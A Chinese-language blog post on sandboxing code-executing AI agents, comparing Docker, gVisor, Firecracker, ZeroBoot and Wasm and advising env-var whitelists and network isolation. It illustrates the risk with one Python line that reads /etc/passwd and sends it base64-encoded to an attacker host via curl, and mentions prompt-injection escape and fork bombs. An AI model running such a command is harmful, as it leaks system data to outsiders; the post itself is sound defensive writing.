让 AI 执行代码之前,先把沙箱这件事想清楚

Agent 一旦能执行代码,它能做的事就和一个坐在终端前的程序员完全一样。拆解 Docker、gVisor、Firecracker、Wasm 几种沙箱方案的取舍。

让 AI 执行代码之前,先把沙箱这件事想清楚

前几天 Hacker News 首页出现一个项目叫 ZeroBoot,宣称能在 0.79ms(p50)内启动一个完整的 Linux 虚拟机。评论区先是不信,然后开始吵。

这个数字确实反直觉——Firecracker 这种专为 serverless 设计的 microVM,冷启动也要 150ms 以上。0.79ms 意味着一秒能冷启动一千个相互隔离的 VM,靠的是 Copy-on-Write KVM fork。

它火起来不是没有原因的。它戳中了 AI Agent 这个领域眼下最实际的一个矛盾:Agent 要执行代码,执行代码就需要隔离,而隔离是有代价的。

为什么这不是个小问题

Agent 调用工具——搜索、查库、发邮件——这些行为是可枚举的,你能审计每一个调用。

代码执行完全是另一回事。它是图灵完备的。一旦 Agent 能执行任意代码,它能做的事就和一个坐在终端前的程序员完全一样。

一个看起来无害的任务:“帮我分析这份 CSV”。Agent 生成的代码里可以是这样的:

import os
os.system("curl https://attacker.com/$(cat /etc/passwd | base64)")

具体的风险大概分三类:

  • 提示注入逃逸:恶意内容诱使 Agent 执行攻击者的代码,读密钥或者外联
  • 资源滥用:无限循环、fork bomb、写满磁盘,拖垮整台宿主机
  • 横向渗透:读环境变量里的密钥,或者访问同机上其他用户的数据

Manus、Perplexity 这类产品选择 microVM 而不是普通容器,就是因为威胁模型不一样,对隔离代价的接受度也不一样。

一个从轻到重的梯度

沙箱不是一个”有没有”的问题,是一个连续的梯度,隔离强度和资源开销一起涨:

方案隔离机制启动延迟内存/沙箱谁在用
Dockernamespace + cgroup~500ms几十 MB本地工具
gVisor用户态 Linux 内核~100ms较高Google Cloud Run
Firecracker / E2B独立内核 microVM~150ms默认 1GBManus、Perplexity
ZeroBootCoW KVM fork0.79ms265KB高并发场景
Wasm线性内存模型毫秒级极低JS/Node Agent

不是越新越好,是越匹配越好。下面说几个我认为关键的取舍点。

容器:够用,但要清楚它的边界

大多数个人项目和内部工具用 Docker 就够了。它简单、生态成熟、启动几百毫秒也能接受。

但有一个设计细节值得注意——不在于你用了 Docker,而在于你怎么配。以一个本地跑的代码修复 Agent 为例,它的沙箱逻辑里有几个决策很典型:

  • 无状态--rm 执行完立刻销毁容器,不留任何状态
  • 网络隔离:默认 --network none,需要访问本地模型时再单独开
  • 工作目录挂载:只把当前目录挂进 /workspace,宿主机其他路径不可见
  • 环境变量白名单:只透传带特定前缀的变量,防止把宿主机的密钥带进去

最后这条最容易被忽略。默认情况下容器会继承一大堆环境变量,里面经常躺着 API key。白名单是几行代码的事,但出了事就是大事。

容器方案的根本局限在于:它隔离的是视图,不是内核。所有容器共享宿主机的同一个 Linux 内核。namespace 隔开的是文件系统、网络、PID 的视图,内核本身是共享的。历史上出过多次从容器逃逸到宿主机的内核漏洞,CVE-2019-5736(runc 逃逸)是其中最著名的一个。

所以判断标准其实很清晰:低威胁、不对外、单人使用,容器够用;多租户、公网暴露,共享内核就是根本性风险。

microVM:给每个沙箱一个真内核

Firecracker 是 AWS 为 Lambda 和 Fargate 设计的 microVM,设计哲学就一条:最小攻击面。每个沙箱有自己的内核,容器逃逸这类问题从根上不存在。

代价是每个沙箱默认吃 1GB 内存,冷启动 150ms 左右。E2B 在这之上做了托管,让你不用自己运维 Firecracker 集群。

什么时候值得上?我的判断是:当你的 Agent 是面向外部用户的服务,并且执行的是用户可控的代码时。内部工具自己用,犯不上。

那 ZeroBoot 的 0.79ms 意味着什么

它用的是 CoW KVM fork:先跑一个初始化好的”母版”VM,每次要新沙箱时从母版 fork 出来,写时复制。启动快、内存省(265KB/sandbox),本质是把”初始化”这个成本提前付掉了。

听起来很完美,但它改变的是适用场景而不是”全面超越”。fork 出来的沙箱初始状态都是母版的状态,如果你的 Agent 每个任务需要不同的预装环境,这个优势就没了。它适合的是那种”高并发、同构环境、短生命周期”的场景——比如批量执行用户提交的代码片段。

Wasm 是另一条路

Wasm 的线性内存模型天生适合沙箱:没有任意指针、没有系统调用直接访问、启动毫秒级、内存占用极低。对 JS/Node 生态的 Agent 来说,把用户代码跑在 Wasm 里是成本最低的隔离方案。

代价是生态限制——不是什么库都能在 Wasm 里跑,涉及文件系统、网络、原生扩展的就悬了。

我会怎么选

把决策压成三个问题:

  1. 代码是谁写的? Agent 自己生成的(用户只给任务)→ 威胁低,容器 + 白名单够用;用户自己提交代码 → 威胁高,上 microVM
  2. 服务暴露给谁? 自己和团队 → 容器;公网多租户 → microVM 或 Wasm
  3. 沙箱生命周期多长? 秒级短任务、同构环境 → ZeroBoot 这类 fork 方案;需要不同环境的 → 老老实实起容器/VM

最后一点经验:不管选哪个,把环境变量白名单和 --rm 这类习惯养成本能。真出事的时候,救你的往往不是隔离方案多先进,而是你有没有把密钥透传进去。

奇妙感 本文采用署名-非商业性使用-相同方式共享协议,转载请注明出处与作者。

目录